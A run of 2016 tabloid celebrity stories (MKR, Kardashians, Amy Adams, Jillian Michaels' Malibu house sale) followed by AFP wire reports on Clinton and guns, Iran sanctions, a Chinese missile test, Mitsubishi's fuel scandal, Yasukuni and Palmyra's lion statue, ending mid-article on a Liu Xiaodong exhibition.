This season the show has put an interesting mix of teams together together including sassy lawyers Gianni Romano and Zana Pali, the cougar and cub Cheryl and Matt, as well as picky eaters Jessica Tichonczuk and Marcos Dillman.

On Thursday night legal eagles Gianni and his Zana Pali were eliminated from the reality cooking series in the semi-finals episode.

The Brisbane based couple failed to impress judges with their Balkan inspired dishes and missed out on a spot in Tuesday night's grand final decider.

Still smiling: Zana said she was grateful for her time on the show saying, 'You cannot put money on what we have learnt and how we've improved. It's priceless. It's the best experience of our lives'

Upon hearing the news that they were going home, Zana, 25, broke down in tears, saying: 'We've loved working hard and we've learnt so much. MKR has all been about our family, our true traditional recipes.'

She added: 'You cannot put money on what we have learnt and how we've improved. It's priceless. It's the best experience of our lives.'

Despite hearing the sad news about their poorly put together dishes, the pair did received praise for their flavoursome beetroot ravioli with goat cheese and pistachios entree.

Praise was received: Despite hearing the sad news about their poorly put together dishes, the pair did receive praise for their flavoursome beetroot ravioli with goat cheese and pistachios entree

Like art: Celebrity judge Liz Egan complemented the dish saying: 'One Perfectly rolled pasta. It's got that lovely beetroot in there that makes it really pretty to look at

Celebrity judge Liz Egan complemented the dish saying: 'One Perfectly rolled pasta. It's got that lovely beetroot in there that makes it really pretty to look at. The zing from the goats' cheese breaks through that butter and sage, which is just an outstanding accompaniment.'

Colin Fassnidge added: 'This is a competition-winning dish.'

While Pete Evans simply said: 'Sensational.'

Too slow: But the episode wasn't without it quips from the brunette beauty who hounded her husband on a number of occasions to speed up

Come on: Zana hounded her husband to hurry up as he attempt to plate the meals, saying: 'Move.You're going really slow right now'

But the episode wasn't without it quips from the brunette beauty who hounded her husband on a number of occasions to speed up.

'Move.You're going really slow right now,' Zana snapped at a very patient Gianni.

Meanwhile, Tasia and Gracia Seger jumped for joy as they were announced they were moving through to the grand final after receiving near perfect scores for their Asian inspired three-course meal.

'I'm happy. I can't believe it. Whew,' a beaming Tasia screamed and bounced around.

High five: Tasia and Gracia Seger jumped for joy as they were announced they were moving through to the grand final after receiving near perfect scores for their Asian inspired three-course meal
Earlier this week he was cleared of helping a drugs baron evade justice after the case was dropped due to lack of evidence.

So spending time with those who mean the most to him, Jay Rutland shared a heartwarming shot of his wife Tamara Ecclestone, 31, and daughter Sophia, two, on Friday.

Taking to Instagram, the 35-year-old uploaded a shot of his two ladies in the bathtub after he had triumphed in a foam spray battle.

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'Don't mess with the dada': Jay Rutland shared a heartwarming shot to Instagram of his wife Tamara Ecclestone and daughter Sophia on Friday

In the still, Tamara beams broadly with foam in her hair as Sophia pulls a pout looking unimpressed.

The doting father captioned the frame: 'So these two got a bit brave and started spraying me with some foam spray.'

He continued: 'I soon let them know who's boss....#DontMessWithTheDada'.

The intimate snap of their life as parents is just one of many which Tamara and Jay regularly share on Instagram.

Travelling in style! Earlier this month Ecclestone took her daughter to Hampshire's Peppa Pig World, which is just 83 miles away from her home, via helicopter

Earlier this month, Ecclestone surpassed herself when she attended a theme park by private helicopter with her daughter and niece Lavinia.

Heading to Hampshire's Peppa Pig World, which is just 83 miles away from her home, the heiress wasted no time sharing snaps of the eccentric trip.

One photo showed the two girls running - excitedly - to the chopper as it rested on its launchpad.

Hand-in-hand, the two youngsters clearly couldn't wait to climb on-board and begin their journey, which likely took just 20 minutes.

Cool: The lovely little girl was certainly typically well-dressed for her day of fun and adventure

Captioning the image 'Off to see Peppa', the shot was 'liked' more than 2,000 times.

A second image showed Sophia sat in her seat, buckled up and eating sweets, while wearing ear protectors across her head.

Dressed in a baby pink number with white tights, the tot certainly seemed to be enjoying herself as she smiled sweetly for the camera.

That image also generated plenty of affirmative comments, such as one follower who responded: 'Ok this is just too damn cute'.

Not that this is the first time she has travelled by helicopter, of course.

In 2011 she was seen stepping out for a shopping spree in Monaco by helicopter, while another occasion - just four weeks ago - she shared a snap of her and Sophia inside another helicopter.

She captioned it: 'Til next time Gstaad'.
He was quite the performer on The X Factor back in 2012.

But Rylan Clark couldn't keep up with his This Morning counterpart Ruth Langsford during a fun-filled dance-off on Friday morning.

The Essex native, 27, previewed a quirky double act set to air on Britain's Got Talent this weekend and challenged Ruth to an impromptu dance contest, not thinking Ruth would actually take him on.

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Dance off! Rylan Clark (right) challenged Ruth Langsford to an impromptu contest on Friday's installment of This Morning - not thinking Ruth would actually take him on

'You know youre my favourite couple, but you might be a close second after you see these two,' Rylan teased Ruth and her co-presenting husband, Eamonn Holmes.

Married BGT couple Ian and Anne got judges Simon Cowell, David Walliams, Amanda Holden and Alesha Dixon up on their feet with their rendition of Beyonce's Crazy In Love.

'Come on, get up!', Rylan jokingly ushered Ruth as he instigated the spirited competition.

Not one to be a bad sport, the 56-year-old star jumped to her feet to display her awkward 'dad moves' with the utmost confidence before Rylan tried to outdo her - without much luck.

Trying his luck: 'Come on, get up!', Rylan jokingly ushered Ruth as he instigated the spirited competition

Awkward moves: Ruth displayed her 'dad moves' with the utmost confidence

Clear winner: Rylan tried to compete with the 56-year-old star, but without much luck

Half-hearted: Despite his performing background and X Factor experience, Ruth dominated the dance-off

Making sure everyone had the opportunity to showcase their moves, he encouraged 56-year-old Holmes to join in too.

'Come on Eamonn, you can do it with your hips now,' he spoke, referencing the star's recent hip operation - but he was too embarrassed to join in on the action.

Viewers took note of the difference in dance ability between Ruth and Rylan and flocked to social media to praise the blonde presenter's moves.

'Haha, love it Ruth, well done,' one user mentioned before several other audience members fawned over the trio's on-screen chemistry.

Rylan also shared his jokey banter with his Big Brother pal Emma Willis earlier on in the show.

Professional chemistry: Multiple audience members went on to fawn over the trio's on-screen chemistry

A lot of fun: Their natural banter was evident to viewers, who took to social media in their droves

The 40-year-old beauty - who is set to give birth to her third child with husband Matt Willis - was at the other end of Rylan's banter earlier on in the show.

The Celebrity Big Brother winner joked he would be on hand to catch her baby live on air after she stated there was a 'real concern' she may give birth on set due to her work commitments.

After his rise to stardom on the singing competition, Rylan has had quite the flourishing career.

He also confirmed the news that his Channel 5 talk show, Up Late With Rylan, will premiere this May.
She's been sizzling in the south of France on a glorious holiday with her gal pals.

No wonder Casey Batchelor put on a brave face as she prepared to return to rainy London after her sun-kissed vacation.

The Celebrity Big Brother beauty 31-year-old looked stunning in a figure-hugging maxi dress as she arrived at Nice airport on Friday.

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Carry on Casey: Casey Batchelor, 31, flaunted her killer curves in a leopard print maxi dress as she left south of France after her holiday on Friday

The natural beauty showed off a hint of her famous cleavage in her clingy, leopard print dress as she left France.

Her flowing brunette locks fell behind her in natural waves as she strolled into the airport looking stunning in her simple yet chic get-up.

Casey topped off her holiday look with a trendy pair of over-sized sunnies as she headed back to Blighty after her relaxing holiday.

Animal instincts! Casey looked slinky in her comfy travel gear as she headed for her flight

Red hot: Casey Batchelor, 31, made the most of her sunny climes as she advertised her busty cleavage in yet another revealing bikini snap on Instagram

It has certainly been a snap happy girlie holiday for Casey, who made the most of her sunny climes as she captured her busty cleavage a string of revealing bikini snaps on Instagram.

The buxom put on an eye-catching display in a fiery red plunging two-piece on Wednesday, which flaunted her bodacious figure.

Highlighting her love for glamour, the swimsuit featured two gold circular rings on the side of her bottoms which accentuated her curves.

Ensuring that her 240k followers wouldn't be distracted elsewhere, she accessorised delicately with a little gold chain and over-sized brown sunnies.

The model also made sure that her friends got in on the action, as she posed alongside a fellow brunette- both showing off their tiny waists against the lush green backdrop.

Captioning the image: 'No filter needed! Beautiful sunshine with my girl @kathounsome,' the CBB star seemed in high spirits.

Bikini beauties: The model also made sure that her friends got in on the action, as she posed alongside a fellow brunette- both showing off their tony waists against a lush green backdrop

No bum deal: The beauty even gave fans a glimpse of her pert behind as she laid on her front on the lounge

Her bikini clad sessions aren't a rare sight. The day prior the glamour model relaxed poolside in Cannes in another revealing sexy bikini.

Casey displayed her toned figure in a black and white printed two-piece as she enjoyed her holiday in the South of France with friends.

With over-sized brown sunglasses, and a little gold diamond necklace to accessorise, Casey made sure she was exposing plenty of skin to the sun.

The bikini's central detail, a ring of metal with little pearl pendants, didn't distract from her curvaceous cleavage, and if anything drew the eye to her decolletage.

Casey posted the picture with the caption: 'Not moving from round the pool all day.'

Bikini ready: Earlier on the trip Casey displayed her toned figure in a little black and white print two-piece as she enjoyed her holiday

Perfect spring getaway: Casey posted pictures with the caption: 'Not moving from round the pool all day' and went on to post a short video of her driving practice into the very inviting clear blue pool

She also found time to practice her diving skills, posting a short video of herself elegantly diving into the swimming pool.

Casey is no doubt keen to take her mind off things with the getaway, after recent reports about her romantic life.

The TV personality recently made headlines after it was alleged she had shared an intimate moment with JJ Hamblett while he was on a break from girlfriend Caterina Lopez.

It's claimed she and the 27-year-old Union J star had been introduced by mutual friends during a night out at London club Cafe De Paris last month and were 'really enjoying each other's company'.

On a break: Recently the TV personality made headlines after it was alleged she had shared an intimate moment with Union J star JJ Hamblett, who was on a break from girlfriend Caterina Lopez

But Casey was reportedly left 'shocked' when JJ reunited with his model girlfriend Caterina Lopez - the mother of his son, Princeton, two - without telling her.

A source told The Sun at the time: 'They decided to take it slow and really enjoyed each other's company. Casey was raving about him and thought he was a great guy.

'She has been treated badly in the past and is a sucker for love, so it was shocking for her to all of a sudden see that he and Caterina had reunited. He didn't tell her they were getting back together.'
She already has an idyllic seven-acre horse ranch above Point Dume, north of Malibu.

So maybe that's why celebrity lifestyle trainer and reality star Jillian Michaels has put her ocean-front Malibu mansion up for sale.

The 42-year-old horse-lover wants a cool $9.75 million for the property, which she bought for $6.62 million in 2010, the NYPost.com reported on Friday

Ocean-side mansion: Biggest Loser alum and reality star Jillian Michaels has put her ocean-front Malibu mansion up for sale for $9.75 million

That will give the canny celebrity a tidy $3.13 million profit if she gets the asking price.

According to home sales website, Zillow.com, the 3,153 sq ft house stands on 8,729 sq ft right next to the sand at Las Flores Beach.

It boasts 180-degree views of the Pacific through massive floor-to-ceiling windows on all its three floors.

It has three bedrooms, four luxury spa bathrooms, a gourmet kitchen, a media room as well as stunning living spaces and a huge fireplace.

On the move: Jillian, left, and her talent manager fiancee Heidi Rhoades, pictured at an event in Los Angeles on Thursday, will likely relocate into their horse ranch with their two children along the coast at Point Dume

Spectacular location: The 3,153 sq ft house stands on 8,729 sq ft right next to the sand at Las Flores Beach

Stunning space: The living room features a cozy fireplace and 180-degree views of the Pacific through massive floor-to-ceiling windows that open to allow indoor-outdoor living

Outdoor decks feature fire pits for when the Malibu evenings cool off.

Jillian renovated the 25-year-old home, and shared the process on her new E! reality show, Just Jillian, which debuted in Jahnuary and wrapped its first season in March.

The reality star and bestelling author of seven lifestyle books shares the home with her talent manager fiancee Heidi Rhoades, 35.

Can't beat that view: The Pacific is just a few feet away from the house. Jillian renovated the 25-year-old home and shared the process on her new E! reality show, Just Jillian

Dining room: There's plenty of space to entertain guests for breakfast, lunch or dinner

Minimalist appeal: The gourmet kitchen is designed to hide away all the usual gadgets

They have two children, son Phoenix, delivered by Heidi in May 2012, and daughter Lukensia, five, whom the couple adopted from Haiti the same month.

Now the family will probably move to their ranch, which Jillian bought for $3.61 million two years ago.

Jillian has at least two horses, a rescue gelding called Buzz and a mare, as well as dogs and other animals.

Lulled to sleep: Waves breaking provide the perfect backdrop for a good night's rest in the three bedrooms

Spa-style luxury: The house boasts four beautiful bathrooms, including this one with a double shower and impressive standalone bath
Amy Adams cut a casual figure on Friday in Los Angeles.

The 41-year-old donned skinny jeans with a grey T-shirt, adding a striped scarf and heeled boots to finish off her daytime look.

The actress, who showed off her svelte figure in the fitted bottoms, was spotted leaving breakfast with her husband Darren Le Gallo in the ensemble.

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Putting her best foot forward: Amy Adams cut a casual figure on Friday in Los Angeles

The American Hustle star chose a pair of skintight jeans, opting to roll up the cuffs above her beige heeled boots.

Amy wore a loose-fitting top with a black and white scarf stylishly wrapped around her neck.

The Golden Globe-winning actress slung a mini, tan-hued Gucci handbag across her body with small framed sunglasses shielding her eyes.

Casual outing: The 41-year-old donned skinny jeans with a grey T-shirt, adding a striped scarf and heeled boots to finish off her daytime look

Homebound: The actress was spotted leaving breakfast with her husband Darren Le Gallo

The movie star, who was on the phone while leaving the restaurant, carried her car keys in her other hand.

Her husband Darren, 41, looked handsome in a grey T-shirt and light wash denim while sporting a heavy beard.

Later on in the day, the couple looked as though they had enjoyed a joint workout with Darren swapping his denim for shorts, while Amy changed into leggings and a tiger-print sweatshirt.

Quick change: Later on in the day, the couple looked as though they had enjoyed a joint workout

Gym gear: Amy changed into leggings and a tiger-print sweatshirt teamed with bright blue sneakers

Joint work out: Darren swapped his jeans for a pair of grey shorts as the couple picked up some take our drinks to cool down after their workout

Sunshine: Amy added dark shades and tied her long longs back after working up a sweat

The pair carried some takeout drinks after stopping by a local cafe for a post-gym pick-me-up, with Amy keeping cool in dark shades.

The couple married in May 2015 after being in a relationship for 14 years; the lovebirds are parents to five-year-old daughter Aviana Olea.

On Thursday, Amy showed off her incredible figure in a fitted blue pencil dress, which hit her mid-calf, while at the opening of the Refugee exhibit at the Annenberg Space For Photography in LA.

Amazing: On Thursday, Amy showed off her incredible figure in a fitted blue pencil dress, which hit her mid-calf

The Enchanted star wore the sleeveless number with pointed gold heels and curled tresses, opting to add pink lip gloss.

Amy wore the same tasseled Gucci purse with a floral kimono and jeans while out with Darren on Wednesday.

Her love led the way in a graphic T-shirt, jeans and a black waistcoat after enjoying the Jesse Jo Stark show at Roxy Theatre.

Love is in the air: Amy wore the same tasseled Gucci purse with a floral kimono and jeans while out with Darren on Wednesday
She just returned from a trip to Iceland in celebration of her 37th birthday.

But on Friday Kourtney Kardashian was spotted in Van Nuys, California, getting ready to jet out of Los Angeles once again, with daughter Penelope, three.

She was joined by younger sister Kim Kardashian, 35, who brought along two-year-old daughter North West for what appeared to be a bit of mother-daughter bonding.

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Take my hand! Kourtney Kardashian was spotted leading the way for daughter Penelope Disick as the two prepared to jet out of the Van Nuys airport in California on Friday

Mommy and me: Kourtney was joined by younger sister Kim Kardashian, who was seen carrying daughter North West

Kourtney showed off her casual style in a tan, crop top sweater, which gave a peek at the mother-of-three's toned stomach.

She coupled that with a pair of high-waisted, light wash jeans, covering up in a stylish, olive green duster that fell to just below her knees.

She finished off her chic look with a pair of strappy, brown heels, and carried a large, tan leather carry-on as she made her way to the private jet.

Keeping close: Penelope stood by her mother as Kourtney got a doll out of the car ahead of the flight

Chic: Kourtney dressed stylishly for the flight in a tan crop top sweater, high-waisted, light wash jeans, and an olive green jacket

Her long, raven tresses were worn in a side part and styled straight, and the reality star hid her eyes behind a pair of gold sunglasses.

Kourtney accessorized with a gold bracelet, and had her hands full as she followed behind daughter Penelope, carrying one of the child's baby dolls in addition to her large, leather bag.

Penelope - Kourtney's daughter with ex Scott Disick - kept comfortable for her travels in a long-sleeved white T-shirt, worn with coordinating trousers and sandals.

Peek-a-boo: The raven-haired beauty's crop top gave a glimpse at her toned stomach

Come on, mom! Penelope looked to be waiting on her mother as she flashed her a smile while she was seen giving a man a hug after unloading the car

The little girl's blonde locks were pulled back into a half-up, half-down 'do, and she showed off a smile as she made her way to the jet carrying a unicorn stuffed animal.

Kourtney's sons with ex Scott - six-year-old Mason and one-year-old Reign - were not photographed on the outing.

Kim joined her older sister for the trip, looking stylish in a form-fitting nude body suit that hugged her famous curves.

Following her lead! Kourtney had her hands full with a chic, leather handbag and one of Penelope's baby dolls as she followed the three-year-old onto the private jet

Traveling in style: Kim showed off her famous curves in a skintight, nude bodysuit, worn with a long, tan jacket

She wore the figure-hugging number with a sophisticated, tan jacket that fell to the Keeping Up With The Kardashian star's ankles.

She wore her long, raven locks pulled back into her favorite boxer braids, and hid her eyes behind a pair of over-sized, black sunglasses.

Kim showed off nude lipstick, and carried a striking, orange leather handbag, also accessorizing with a pair of chunky pumps with see-through heels.

Doting: The mother-of-two - seen without four-month old son Saint - held tightly to her two-year-old daughter North as she joined Kourtney for the trip

She showed off a smile as she picked daughter North up and out of the car, carrying her along with what looked to be an Elsa doll from Disney's animated film Frozen.

She also donned a pair of two-toned denim shorts, as well as a gold bomber jacket and low-top, white sneakers.
Clinton criticizes US gun lobby on campaign trail

Democratic frontrunner for US president Hillary Clinton strongly criticized the gun lobby Thursday while meeting families of shooting victims days before the next round of primary elections.

"It just doesn't make sense to me. I find it absolutely indefensible, the arguments that are made by people who will not accept responsibility for what is going on in our country," she said at an event in Hartford, Connecticut.

"When you take a stand against gun violence and against the gun lobby you are subjected to some of the most vile harassment on the Internet that you can imagine. It is beyond decency," she added.

Democratic US Presidential hopeful Hillary Clinton speaks on stage on April 19, 2016 in Washington, DC Brendan Smialowski (AFP/File)

"There is an organized effort, again, to intimidate, to silence."

Clinton called for "comprehensive gun safety reform" to be at the top of the agenda along with better mental health treatment to stop young people ending up in prison because they have undiagnosed mental health conditions.

"We just have too many guns in this country in the wrong hands," she said. "We have to address it."

But she stopped short of proposing any specific reforms and declined to say how far she would go in seeking to implement gun control.

President Barack Obama, hobbled by America's powerful gun lobby, has argued for executive measures regulating the sale and purchase of weapons, controversially bypassing Congress.

Clinton called Obama's set of executive actions "a very good beginning" and promised, if elected president in the November general election, to "do everything I can to implement those and act on those."

Around 30,000 people are killed in America every year by guns.

The former secretary of state won a sweeping victory in this week's Democratic primary in New York and is looking to match that success when Connecticut, Delaware, Maryland, Pennsylvania and Rhode Island vote on April 26.

She has sought to portray herself as Obama's heir and has repeatedly criticized her opponent, Vermont senator Bernie Sanders, for being weak on gun control.

Clinton currently leads among Democrat voters in Connecticut on 50 to 42.5 percent for Sanders, a tighter margin than her win in New York, according to a RealClearPolitics poll average.
Kerry, Zarif to meet again in NY on Iran sanctions relief

US Secretary of State John Kerry will meet in New York on Friday with Iran's Foreign Minister Mohammad Javad Zarif, as Tehran complains that Washington has not lived up to its nuclear deal obligations.

Kerry's spokesman told reporters in Washington that the two top diplomatic chiefs will hold another day of talks following a meeting at the UN on Tuesday.

Tehran has said it is not receiving enough sanctions relief.

US Secretary of State John Kerry (R) with Iran's Foreign Minister Mohammad Javad Zarif, on April 19, 2016 at the UN in New York Don Emmert (AFP/File)

"In these discussions with Foreign Minister Zarif tomorrow, I fully expect that they will continue to talk about the sanctions relief process, and the degree to which banks, foreign and domestic, as well as institutions foreign and domestic are evaluating their options under the JCPOA," State Department John Kirby said Thursday, referring to the Joint Comprehensive Plan of Action as the international nuclear deal is also known.

The two men will address "the degree to which they have before them a sufficient level of understanding to make decisions with respect to sanctions relief," Kirby said at the State Department's daily briefing.

This week's meetings mark the first face-to-face encounters between Kerry and Zarif since January, when they met in Vienna to formally implement the nuclear deal.

Iranian officials have complained that the United States has not lived up to its side of the nuclear agreement because Western banks and corporations have been reluctant to renew business ties.

Kirby said nothing could be further from the truth.

"We certainly are not trying to become an obstacle in any way of foreign banks and institutions working with Iran through the sanctions relief process and doing legitimate business with Iran," he said.

He added: "We believe we are working hard to try to explain what the obligations are, what the responsibilities are and what the opportunities are for foreign institutions and banks under the JCPOA."
China defends right to carry out 'normal' missile tests

China said on Thursday it was "normal" to carry out ballistic missile launches, after a US media report accused Beijing of having test-fired an intercontinental weapon last week.

US media site Washington Free Beacon, citing unidentified Pentagon officials, reported that China had carried out a test of its DF-41 long-range missile on April 12.

The report linked the tests to tensions between Washington and Beijing over the South China Sea, noting that it came three days before a visit by US Secretary of Defence Ashton Carter.

A report that China test-fired an intercontinental weapon is linked to tensions between Washington and Beijing over the South China Sea Sam Yeh (AFP/File)

The DF-41 missile has a range of some 14,000 kilometres (8,700 miles) and could, according to some experts, carry up to 10 nuclear warheads.

In a brief response, China's defence ministry did not deny a test had been carried out, but dismissed media reports of a specific location as "pure speculation".

"It is normal for us to carry out scientific research tests in our own territory, according to our plans, and they are not aimed at any specific nations or targets," said a statement on its website.

China claims nearly all of the South China Sea, which is home to some of the world's most important shipping lanes and is believed to contain vast oil reserves.

But many of its Southeast Asian neighbours have overlapping claims, and tensions have risen over China's construction of artificial reefs in the disputed waters.

On Monday, China's defence ministry gave its first confirmation that Beijing had landed a military flight on the Fiery Cross reef in the Spratlys archipelago, also claimed by the Philippines.
Mitsubishi Motors extends losses on fuel-cheating scandal

Mitsubishi Motors shares nosedived for a third session Friday morning, tumbling as much as 16 percent after the Japanese automaker's shock admission that it cheated on fuel-efficiency tests.

Panic-selling on Wednesday and Thursday -- when the government raided one of its research centres -- had already sent the stock tumbling by a third, wiping about $2.5 billion off its market value.

At the break Friday, the firm was down 13.20 percent at 506 yen ($4.60), having crashed 16 percent at one point.

Mitsubishi Motors shares nosedived for a third day, falling more than 15 percent in early trading in response to its shock admission that it cheated on fuel-efficiency tests Toshifumi Kitamura (AFP)

The rout marks Mitsubishi's worst three-day decline since its 1988 listing, Bloomberg News reported.

The scandal came as German auto giant Volkswagen struggles to restore its badly dented reputation after revelations of emissions rigging.

On Wednesday, Mitsubishi admitted that unnamed employees rigged tests to make some of its cars seem more fuel-efficient than they were in reality.

The company said it would halt production and sales of the affected models -- mini-cars sold in Japan including some made for rival Nissan -- and warned that the number of cars involved in the scandal would likely rise, as it looks to vehicles sold overseas.

Mini-cars, or kei-cars, are small vehicles with 660cc gasoline engines that are hugely popular in the Japanese market, although they have found little success abroad.

"Certainly it is a blow," Christopher Richter, a Tokyo-based auto analyst at brokerage CLSA, told AFP.

"The vast majority of (Mitsubishi's) business in Japan has become selling mini-vehicles to Nissan because the market share of their own branded products after the scandal in the 2000s withered down to practically nothing."

- 'Regrettable' -

More than a decade ago, cash-strapped Mitsubishi teetered on the edge of bankruptcy after slumping sales caused by a series of defect cover-up scandals.

The latest case has raised questions about whether efforts to change the Mitsubishi's corporate culture since the earlier spate of scandals had sunk in.

Experts have said the firm prized unwavering employee loyalty even more than many Japanese companies, and that may have been a key issue behind the rigged tests.

Japan's transport minister Keiichi Ishii echoed those concerns Friday.

"I can't help but have doubt about the company's basic attitude towards compliance. This is extremely regrettable," he told reporters Friday.

Ishii also said the government will review testing done by domestic automakers as it awaits the results of an internal probe by Mitsubishi, due next week.

The scandal has raised questions about Mitsubishi's future, as it faces the prospect of huge lawsuits and fines.

But Richter at CLSA said it was unlikely a beaten-down Mitsubishi would be snapped up by one of its bigger rivals, such as Toyota or Nissan.

The automaker was born from the vast Mitsubishi group of companies, which are still loosely connected through cross-shareholdings and historical ties.

"In the past, consolidation has been talked about for Mitsubishi or streamlining the businesses, (but) there has been a lot of resistance from other companies within the Mitsubishi group," Richter said.

"They have to be factored in any calculation about consolidation."

Mitsubishi Motors president and COO Tetsuo Aikawa (front R) bow at a press conference in Tokyo on April 20, 2016

Officers from Japan's transport ministry enter the Mitsubishi Motors Nagoya factory in Okazaki, Aichi prefecture on April 21, 2016
Japanese lawmakers, Cabinet minister visit Tokyo war shrine

Dozens of Japanese lawmakers including a Cabinet minister visited a Tokyo war shrine on Friday in a ritual angering China and South Korea, where memories of Japan's military and colonial record remain raw.

The capital's Yasukuni Shrine honours millions of Japanese dead, including several senior military and political figures convicted of war crimes after World War II.

The leafy central Tokyo shrine to Japan's Shinto religion has for decades been a lightning rod for criticism by countries that suffered under Japan's colonialism and aggression in the first half of the 20th century.

A Shinto priest leads Japanese lawmakers to the altar of Yasukuni Shrine in Tokyo on April 22, 2016

Visits to the shrine by senior Japanese politicians, including occasionally prime ministers, drew angry reactions from China and South Korea, which see it as a symbol of Tokyo's militaristic past.

"We hope that political figures in Japan would develop a correct understanding of history and do more to promote reconciliation and mutual trust between Japan and its Asian neighbours," Chinese foreign ministry spokeswoman Hua Chunying said at a regular briefing in Beijing.

South Korea also blasted the visit, with foreign ministry spokesman Cho June-Hyuck saying in a statement that the shrine "beautifies the colonial past and war of aggression, and enshrines war criminals".

Prime Minister Shinzo Abe and other nationalists say the shrine is merely a place to remember fallen soldiers and compare it to burial grounds such as Arlington National Cemetery in the United States.

At least 92 lawmakers visited Yasukuni for its annual spring festival, of whom 79 were from Abe's ruling Liberal Democratic Party, according to an official working for upper house of parliament member Toshiei Mizuochi.

- 'Private visit' -

Internal Affairs Minister Sanae Takaichi visited the shrine, though separately from the other lawmakers, according to footage shown on public broadcaster NHK.

Takaichi's visit was "private" in nature, Chief Cabinet Secretary Yoshihide Suga, the government's top spokesman, told a news conference.

"A visit by a private person concerns the individual's freedom of religion and the government should not intervene."

The figure this time compares with the more than 100 lawmakers and three ministers who visited during last year's spring event. For the shrine's autumn festival six months ago 73 lawmakers and two ministers attended.

And on August 15, 2015 -- the 70th anniversary of the end of World War II -- two Cabinet ministers went to the shrine along with about 60 lawmakers.

Abe's wife, Akie, also visited Yasukuni in December.

Friday's visit by the lawmakers came a day after Abe made a ritual offering to the shrine.

Abe went in December 2013 to mark his first year in power, a pilgrimage that sparked fury in Beijing and Seoul and earned him a diplomatic rebuke from the United States, which said it was "disappointed" by the action.

He has since refrained from going and reactions by China and South Korea to Yasukuni visits, while remaining critical, have become less intense as Japan has taken steps over the past 18 months to improve relations with both countries and Abe has held summit meetings with their leaders.

Japan's Yasukuni war shrine Adrian LEUNG (AFP)
Polish experts return to Syria's Palmyra to restore famed lion statue

When two Polish heritage experts first restored the famed lion statue in Syria's Palmyra in 2005, they never imagined they would see it smashed to pieces only a decade later.

"We did new restoration, new presentation of this lion, the Lion of Al-Lat. And after, I thought, I'm doing this (to last) for over 200 years or 300 years, maybe more," archaeologist Bartosz Markowski told AFP.

"But it appears it was only 10 years."

Bartosz Markowski (L), from the University of Warsaw's archeology institute, and Robert Zukowski (C), from the Polish Academy of Sciences, inspect a statue at Palmyra museum on April 9, 2016 Louai Beshara (AFP)

Markowski spoke to AFP at the entrance of Palmyra's museum, where the striking 15-tonne Lion of Al-Lat lay in large, jagged pieces.

It was smashed by the Islamic State group, which overran Palmyra -- known as the "Pearl of the Desert" -- in May 2015.

During their 10-month rule over the city, the jihadists executed hundreds of civilians and blew up some of Palmyra's most beautiful temples and funerary towers in the old city.

Palmyra's museum lies in the residential parts of the city.

The destroyed Lion of Al-Lat at the museum's entrance serves as a harbinger for the destruction inside: statues lay in pieces blanketed in dust and debris.

Syria's government forces recaptured the city on March 27, and experts immediately set to work assessing the damage to the city's historic ruins.

Markowski, from the University of Warsaw's archaeology institute, was the first foreign archaeologist to enter Palmyra after the regime win.

He arrived in Palmyra with his colleague Robert Zukowski, from the Polish Academy of Sciences, in mid-April for a one-week mission to evaluate the damage.

- Polish 'heroes' -

The three-metre-tall Lion of Al-Lat dated back to the 1st century BC.

It was first discovered in 1977 by a Polish archaeological mission at the temple of Al-Lat, a pre-Islamic Arabian goddess.

Nearly four decades later, his hair and clothes covered in dust, Markowski patiently catalogued the broken pieces of the limestone monument.

"This lion is like our baby. We have had a sentimental relationship with this statue ever since we came in 2005 to help restore Palmyra," Markowski said.

As soon as he and Zukowski heard IS was pushed out of Palmyra, "we decided to return at the invitation of the Directorate of Antiquities and Museums of Syria," he added.

Maamun Abdulkarim, the head of Syria's antiquities department, says the two Polish workers are "heroes."

Markowski said he felt he "had to come back as soon as possible."

"We were excited because we had not seen any photos since one year, or almost one year, since Daesh came here," he said, using an Arabic acronym for IS.

"The first pictures that we saw (were from) one week ago. And we saw that there is something to do here."

He told his wife he was travelling to Egypt, "because she would not have let me leave if she knew I was coming to Palmyra."

More than 270,000 people have been killed and millions have been forced to flee their homes since the conflict erupted in March 2011.

- 'Two crazy restorers' -

After being catalogued by Markowski, each piece was carefully carried by Zukowski and a Syrian colleague into large boxes.

The containers will head to Damascus, where restoration can begin.

His hands covered in blisters, Zukowski took a photograph of each broken slab of rock.

"You know I'm proud -- I'm really proud that we can come back here," Zukowski said.

He said he was confident that the lion could be restored to its previous glory but the most difficult parts to restore would be around its nostrils.

Since the Syrian regime pushed IS out of Palmyra last month, deminers -- including from a special unit dispatched by Moscow -- have been clearing explosives from Palmyra's old city.

Zukowski and Markowski had yet to assess the damage there, where the grand Temples of Bel and Baalshamin once stood, now largely reduced to rubble.

The heaviest fighting between IS and Syria's government fighters took place in the modern part of Palmyra.

Although residents have slowly begun returning to rebuild their homes and their lives, the residential neighbourhoods remain eerily quiet.

"It needs people in the town. Now it's deserted, there is no one here. Only army and some reporters. And two crazy restorers," Markowski said.

The striking 15-tonne Lion of Al-Lat lies in pieces at the Palmyra museum on April 9, 2016 Louai Beshara (AFP)

Bartosz Markowski (L), from the University of Warsaw's archeology institute, and Robert Zukowski (C), from the Polish Academy of Sciences first restored the famed lion statue in Syria's Palmyra in 2005 Louai Beshara (AFP)
A Chinese eye delivers new perspectives on Europe's migrant crisis

Liu Xiaodong, the acclaimed Chinese contemporary artist, has put Europe's migrant crisis at the centre of an exhibition of new work which goes on show from Friday in Florence.

Entitled "Migrazioni" (Migrations), the collection features a total of 182 multi-themed works including paintings, photography, photo-painting, explanatory text and a video documentary.

It is being billed by its sponsors, Florence's innovative Palazzo Strozzi Foundation, as one of the art world's most significant responses to date to the unprecedented wave of refugees arriving on Europe's southern shores.

Chinese artist Liu Xiaodong stands in front of a work in the exhibition "Migration" in Florence on April 21, 2016 Gabriel Bouys (AFP)

The exhibition is due to run until June 19 in the Tuscan capital's Palazzo Strozzi, just a short bus ride away from Prato, the Florence suburb that is now home to one of the biggest Chinese communities in Europe.

What began as a invitation to Liu to spend time in the region examining the relationship between Prato's Chinese population and broader Tuscan society evolved into something much larger when the artist decided to see for himself the journeys being made by Syrian refugees trying to reach northern Europe via Turkey, Greece and the Balkans.

The result is a thought-provoking collection that is partly an illustrated diary of the artist's trips from Florence to the frontline of the migrant crisis, and partly a reflection on the nature of migration itself, seen through the twin optics of Prato's Chinatown and the timeless beauty of Tuscany's undulating, cypress-dotted countryside.

"There are two extremes of migration converging in Europe at the moment," Liu told AFP in an interview on the eve of the exhibition's opening.

"In Prato there is this very quiet, not very visible presence. And then there is this immigration, that we hear about every day, of people fleeing from war. And I wanted to bring these two ideas together in one exhibition."

- The promised land -

Among the most striking works in the collection is a huge painting of a classic Tuscan landscape seen from the edge of a swimming pool tastefully cut into the hillside.

